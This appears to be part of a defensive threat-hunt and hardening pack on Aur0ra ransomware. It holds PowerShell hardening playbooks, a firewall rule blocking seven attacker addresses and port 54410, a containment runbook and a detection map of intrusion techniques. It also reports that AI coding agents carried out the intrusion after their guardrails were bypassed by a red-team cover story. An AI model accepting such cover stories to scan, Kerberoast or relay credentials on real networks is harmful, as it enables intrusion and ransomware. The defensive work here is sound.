Sophos recommends patching internet-facing devices, phishing-resistant MFA, monitoring EDR alerts and acting quickly, plus segmenting critical servers, isolating backups, reviewing domain administrator privileges, privileged access management and application control. The controls below turn that into specific settings. Each cites a MITRE mitigation and a platform authority. [#1]
- Require phishing-resistant MFA on every VPN account, including local accounts. The agents worked from supplied VPN credentials. MITRE M1032; vendor MFA guidance for your VPN platform.
- Require SMB signing and LDAP signing with channel binding; disable Print Spooler on domain controllers. Closes the coercion and relay path (PetitPotam, PrinterBug, Impacket relay). MITRE M1037, M1042; CIS Microsoft Windows Server benchmark; Microsoft guidance KB5005413 and ADV190023. Playbook 2.
- Isolate backup, NAS and virtualization management. An operator prompt asks the agent to find exactly these. Separate credentials, no domain-joined admin paths, offline or immutable copies. MITRE M1053, M1030.
- Run Q1 and Q20 and import the Section 10 CSV as detect. Cheap, high-fidelity, and tells you whether the operators are already present.
- Block outbound port 54410 from servers after confirming no legitimate use. MITRE M1037. Playbook 5.
- Remove agentic coding tools from servers and jump boxes with application control. Cursor belongs on developer workstations, not on a domain controller or jump box. Deny by path in audit mode first. MITRE M1038; CIS Controls v8 safeguard 2.5 (allowlist authorized software). Playbook 1.
- Harden Kerberos service accounts. Inventory user accounts with SPNs, enforce AES encryption types, 25+ character random passwords or group managed service accounts. MITRE M1027, M1026; Microsoft gMSA guidance. Playbook 3.
- Audit and harden AD CS. Remove enrolment rights from vulnerable templates, require Extended Protection for Authentication on web enrolment, and monitor certificate requests. MITRE M1026, M1037; Microsoft AD CS hardening guidance. best-practice, no formal benchmark
- Protect privileged accounts. Put administrators in Protected Users, review Domain Admins membership, and tier administrative logons. MITRE M1026, M1018; CIS Controls v8 safeguard 5.4. Playbook 4.
- Restrict which hosts may run VPN clients and which accounts may install software. MITRE M1022, M1038.
- Privileged access management with just-in-time administration so a harvested credential cannot reach domain administrator quickly. MITRE M1026; NIST SP 800-53 AC-6.
- Egress allowlisting for S3-compatible and bulk-upload destinations through a proxy, with alerts on new storage endpoints. MITRE M1037, M1031; NIST SP 800-53 SC-7.
- Network segmentation of critical servers and management planes so a VPN-connected foothold cannot scan every subnet. MITRE M1030; NIST SP 800-207.
- Written policy for AI coding assistants: approved hosts, approved vendors, logging of agent activity, and a rule that agents never receive production credentials. Model-side guardrails were bypassed by a red-team cover story, so enforce policy on the host. best-practice, no formal benchmark
- Fast response capability. Sophos stresses that success depends on a quick response; rehearse isolation and credential rotation. MITRE M1047.
Deployable Playbooks
Each step carries its prerequisites, reboot requirement and rollback. Replace every REPLACE_WITH value before use and test in non-production first.
Playbook 1 · Keep agentic coding tools off servers (T1219; M1038)
Step 1.1 · Inventory Cursor installs
Prerequisites: Local admin; run per host or through your management tool
Reboot required: No
Rollback: None required, read-only
Get-ChildItem "C:\Users\*\AppData\Local\Programs\cursor\Cursor.exe", "C:\Users\*\.cursor" -ErrorAction SilentlyContinue | Select-Object FullName, LastWriteTime
Step 1.2 · Back up the effective AppLocker policy, then add an audit-only deny rule for Cursor on the server tier
Prerequisites: AppLocker supported on the host; Application Identity service running; GPO scoped to the server OU only
Reboot required: No (policy applies at next refresh)
Rollback: Set-AppLockerPolicy -XmlPolicy with the backup file from this step, or remove the GPO link
Get-AppLockerPolicy -Effective -Xml | Out-File C:\Temp\applocker-backup.xml -Encoding utf8 # Rule to merge into the server GPO's AppLocker policy, in AuditOnly first: # <FilePathRule Id="REPLACE_WITH_GUID" Name="Deny Cursor on servers" Description="Agentic coding tool not allowed here" UserOrGroupSid="S-1-1-0" Action="Deny"> # <Conditions><FilePathCondition Path="%OSDRIVE%\Users\*\AppData\Local\Programs\cursor\*" /></Conditions> # </FilePathRule> # Review audit events (Microsoft-Windows-AppLocker/EXE and DLL, event 8003) for two weeks, then switch to Enforce.
Playbook 2 · Close the NTLM coercion and relay path (T1187, T1557.001; M1037, M1042)
Step 2.1 · Require SMB signing on servers
Prerequisites: All clients support SMB signing; pilot on one server group
Reboot required: No
Rollback: Set-SmbServerConfiguration -RequireSecuritySignature $false -Force
Set-SmbServerConfiguration -RequireSecuritySignature $true -Force Get-SmbServerConfiguration | Select-Object RequireSecuritySignature
Step 2.2 · Require LDAP signing and channel binding on domain controllers
Prerequisites: Domain functional level and clients support signing; the March 2020 LDAP channel binding updates installed; pilot with value 1 (when supported) before 2
Reboot required: No reboot is normally needed; confirm on a pilot DC
Rollback: Set LDAPServerIntegrity back to its previous value (1) and LdapEnforceChannelBinding to 0
$p = "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" Get-ItemProperty $p | Select-Object LDAPServerIntegrity, LdapEnforceChannelBinding # record for rollback Set-ItemProperty $p -Name LDAPServerIntegrity -Value 2 -Type DWord Set-ItemProperty $p -Name LdapEnforceChannelBinding -Value 1 -Type DWord
Step 2.3 · Disable Print Spooler on domain controllers
Prerequisites: The DC is not a print server; confirm no printing role depends on it
Reboot required: No
Rollback: Set-Service Spooler -StartupType Automatic; Start-Service Spooler
Stop-Service Spooler -Force Set-Service Spooler -StartupType Disabled
Step 2.4 · Require Extended Protection for Authentication on AD CS web enrolment
Prerequisites: IIS WebAdministration module; AD CS web enrolment installed; clients support EPA
Reboot required: No (IIS setting; recycle the site if needed)
Rollback: Set the same property back to its previous value (usually None)
Import-Module WebAdministration Set-WebConfigurationProperty -Filter "system.webServer/security/authentication/windowsAuthentication" -Name extendedProtection.tokenChecking -Value Require -PSPath "IIS:\" -Location "Default Web Site/CertSrv"
Step 2.5 · Optional: block the EFS RPC interfaces used by PetitPotam with an RPC filter (best-practice, no formal benchmark)
Prerequisites: Confirm no remote EFS use (rare); apply on servers where coercion is the concern
Reboot required: No
Rollback: netsh rpc filter delete filter filterkey=REPLACE_WITH_KEY_FROM_SHOW_FILTER
netsh rpc filter add rule layer=um actiontype=block add condition field=if_uuid matchtype=equal data=c681d488-d850-11d0-8c52-00c04fd90f7e add condition field=if_uuid matchtype=equal data=df1941c5-fe89-4e79-bf10-463657acf44d add filter quit netsh rpc filter show filter
Playbook 3 · Reduce Kerberoasting exposure (T1558.003; M1027, M1026)
Step 3.1 · List user accounts that carry SPNs
Prerequisites: ActiveDirectory module; read access to AD
Reboot required: No
Rollback: None required, read-only
Get-ADUser -Filter {ServicePrincipalName -like "*"} -Properties ServicePrincipalName, PasswordLastSet, "msDS-SupportedEncryptionTypes" |
Select-Object SamAccountName, PasswordLastSet, "msDS-SupportedEncryptionTypes"Step 3.2 · Enforce AES-only Kerberos encryption on a service account
Prerequisites: The service and its clients support AES; schedule a window because tickets are reissued; do one account first
Reboot required: No
Rollback: Set-ADUser REPLACE_WITH_ACCOUNT -Replace @{"msDS-SupportedEncryptionTypes"=REPLACE_WITH_PREVIOUS_VALUE} (use 0 if it was unset)
Set-ADUser REPLACE_WITH_ACCOUNT -Replace @{"msDS-SupportedEncryptionTypes"=24} # AES128 + AES256Playbook 4 · Protect privileged accounts (T1078, T1558; M1026, M1018)
Step 4.1 · Add a human administrator to Protected Users
Prerequisites: Domain functional level 2012 R2 or higher; the account does not need NTLM, delegation or cached logon; never add service accounts
Reboot required: No (takes effect at next logon)
Rollback: Remove-ADGroupMember -Identity "Protected Users" -Members REPLACE_WITH_ADMIN -Confirm:$false
Add-ADGroupMember -Identity "Protected Users" -Members REPLACE_WITH_ADMIN
Playbook 5 · Egress controls for the exfiltration path (T1567.002, M1037)
Step 5.1 · Block outbound 54410 and the seven published addresses on servers (Windows Firewall)
Prerequisites: Run Q20 for 30 days first and confirm no legitimate traffic; verify the addresses have not been reallocated to a business partner
Reboot required: No
Rollback: Remove-NetFirewallRule -DisplayName "HuntPack Aur0ra egress block 54410", "HuntPack Aur0ra egress block addresses"
New-NetFirewallRule -DisplayName "HuntPack Aur0ra egress block 54410" -Direction Outbound -Protocol TCP -RemotePort 54410 -Action Block New-NetFirewallRule -DisplayName "HuntPack Aur0ra egress block addresses" -Direction Outbound -Action Block -RemoteAddress 152.236.4.14,152.236.3.8,172.86.89.124,144.172.101.72,206.223.230.107,45.59.113.63,172.86.113.245
Containment Runbook
| Phase | Actions | Owner | Evidence |
|---|---|---|---|
| Isolate (hosts, accounts, backups) | Quarantine hosts with any Q1, Q12, Q14, Q16 or Q19 hit and hosts running Cursor or a VPN client unexpectedly. Disable the accounts the agents used and revoke VPN sessions. Disconnect backup, NAS and virtualization management from the domain network. Isolate: CrowdStrike network containment, SentinelOne disconnect from network, Defender isolate device. | IR lead | Containment timestamps; account disable log |
| Isolate: by platform | CrowdStrike: network-contain the host. SentinelOne: network quarantine (Disconnect from Network; confirm the label in your console version). Microsoft Defender: Isolate device (full network isolation). | IR lead | Containment timestamps; account disable log |
| Scope | Run Q1 to Q20 over 30 to 90 days. List every host reached by the VPN client, every host scanned (Q7), every account that failed or sprayed (Q13), and every share touched (Windows 5145). Find any other host connecting to the seven addresses or port 54410. | Threat hunter | Host and account list; query exports |
| Treat as domain compromise | If domain administrator was reached, reset krbtgt twice, rotate all service-account passwords (start with SPN accounts), revoke issued certificates and review AD CS templates, and reset passwords for every account that logged on to an affected host. | AD team | Reset log; certificate revocation list |
| Preserve evidence | Image affected hosts. Preserve Cursor data, shell history, VPN client config and any local chat logs. Capture command history for the Cyrillic tokens. | DFIR | Disk and memory images; hashes |
| Eradicate | Remove the VPN client, Cursor, tunnels and Cobalt Strike persistence (service stagers). Block the seven addresses and port 54410 at egress. | IR lead | Removal checklist; egress change record |
| Recover | Rebuild from known-good where ransomware executed. Restore from isolated backups after verifying they were not enumerated or deleted. Re-enrol MFA for exposed accounts. | IT operations | Restore verification report |
| Notify and learn | Assess legal and regulatory notification. Feed new indicators back into Section 10. Review policy for AI coding assistants on servers. | Legal / CISO | Notification record; lessons learned |
Detection Coverage Map
| Technique | Behavior | CQL | IOA | CrowdStrike coverage | SentinelOne | Defender XDR |
|---|---|---|---|---|---|---|
| T1059 | Operator Cyrillic-layout typos | Q1 | Q1 | Good | Partial: Q1 approximate | Partial: Q1 approximate |
| T1219, T1572 | Cursor and VPN client on servers | Q2, Q3, Q4, Q5 | Partial | Partial: same limit as CrowdStrike | Partial: same limit as CrowdStrike | |
| T1046, T1018 | Nmap, NetExec, internal scanning | Q6, Q7 | Good | Good, with assumptions | Good, with assumptions | |
| T1087.002, T1482, T1135 | BloodHound, SharpShares, trust and computer enumeration | Q8, Q9, Q10, Q11 | Good | Partial: Q9 approximate | Partial: Q9 approximate | |
| T1110.003 | Password spraying | Q13 | Partial | Partial: Q13 approximate | Partial: Q13 approximate | |
| T1558.003 | Kerberoasting tools and scripts | Q12 | Q12 | Good | Partial: Q12 approximate | Partial: Q12 approximate |
| T1558.003 | Kerberoasting by built-in .NET APIs without a named tool | GAP | GAP | GAP | ||
| T1187, T1557.001 | NTLM coercion and relay tools | Q14 | Q14 | Good | Good, with assumptions | Good, with assumptions |
| T1649 | Certipy certificate abuse | Q9, Q15 | Partial | Partial: Q9 approximate | Partial: Q9 approximate | |
| T1090 | Chisel SOCKS tunnel | Q16 | Q16 | Good | Good, with assumptions | Good, with assumptions |
| T1134, T1055 | Process injection and token abuse; pipe creation | Q17 | Partial | Partial: same limit as CrowdStrike | Partial: same limit as CrowdStrike | |
| T1543.003 | Cobalt Strike service stager | Q18 | Partial | Partial: same limit as CrowdStrike | Partial: same limit as CrowdStrike | |
| T1071.001 | Cobalt Strike C2 addresses | Q20 | Good | Good, with assumptions | Good, with assumptions | |
| T1567.002 | S3 exfiltration | Q19, Q20 | Q19 | Good | Good, with assumptions | Good, with assumptions |
| T1133 | VPN logins with stolen credentials; initial access | GAP | GAP | GAP | ||
| T1486 | Aur0ra binary execution (no hash or file name published) | GAP | GAP | GAP |
Validation gates are in Section 11. Known gaps: initial access and VPN logins are outside endpoint telemetry; Falcon has no named-pipe creation event, so Q17 is a command-shape proxy and Sysmon event 17 is the real control; Certipy text and JSON output files and AD CS certificate events are not covered by an endpoint query; the ransomware binary has no published hash or name; indicators are one source and perishable.
Hunt Summary Ticket
TITLE: Aur0ra Ransomware (GOLD OGRE): AI-Agent-Driven Intrusion Hunt
SEVERITY: High. Active ransomware group, at least three victims named on a leak site,
AI agents reached domain administrator with little human input
SCOPE: Windows servers, jump boxes and VPN-connected hosts (process and network telemetry);
domain controllers (failed logons); AD CS; backup, NAS and virtualization management
HYPOTHESIS: Operators give AI coding agents (Cursor Composer and other models) VPN access
and objectives. The agents scan, enumerate AD, spray, Kerberoast, coerce and relay
NTLM, abuse certificates, and escalate; humans do initial access, exfiltration setup
and ransomware deployment.
QUERIES: 20 CQL queries (Q1-Q20) on Falcon sensor telemetry. Q1, Q12, Q14, Q16, Q19 are
promotable to Custom IOA as Detect only; seven addresses go to IOC Management as detect.
DO FIRST: 1) Run Q1 and Q20 over 30 days. 2) Run Q2, Q5, Q6 on server host groups.
3) Require SMB and LDAP signing, disable Spooler on DCs. 4) Isolate backups.
5) Import the Section 10 CSV as detect.
FINDINGS: [fill in after the hunt]
GAPS: Initial access, VPN logins and AD CS certificate events are outside endpoint telemetry.
Named-pipe creation needs Sysmon. No Aur0ra hashes or file names are published.
ACTIONS: MFA on VPN; signing and Spooler hardening; Kerberos AES and gMSA; AD CS audit;
application control for agentic coding tools on servers; egress controls; isolated backups.
OWNER: REPLACE_WITH_OWNER
VERSION: v0.1 (Draft) 2026-11-04Changelog
References
| Tier | Source | Used for | Access date |
|---|---|---|---|
| T1 | Sophos Counter Threat Unit: AI used in Aur0ra ransomware testing and execution | Attribution, workflow, tools, exfiltration command, typo artifacts, countermeasure names, indicators | 2026-11-04 |
| T2 | Help Net Security: Ransomware gang talked AI agents into doing much of its dirty work | Corroboration of workflow and human-control boundary | 2026-11-04 |
| T2 | Check Point Research: Threat Intelligence Report, 2 November 2026 | Corroboration only | 2026-11-04 |